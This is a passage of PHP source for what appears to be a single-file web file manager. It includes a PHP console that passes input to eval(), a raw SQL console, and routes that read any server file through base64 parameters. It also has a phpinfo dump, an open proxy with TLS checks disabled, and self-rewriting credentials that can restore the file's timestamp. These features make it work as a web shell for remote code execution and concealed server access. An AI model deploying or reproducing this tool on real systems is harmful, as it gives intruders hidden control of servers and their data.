$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменÑть надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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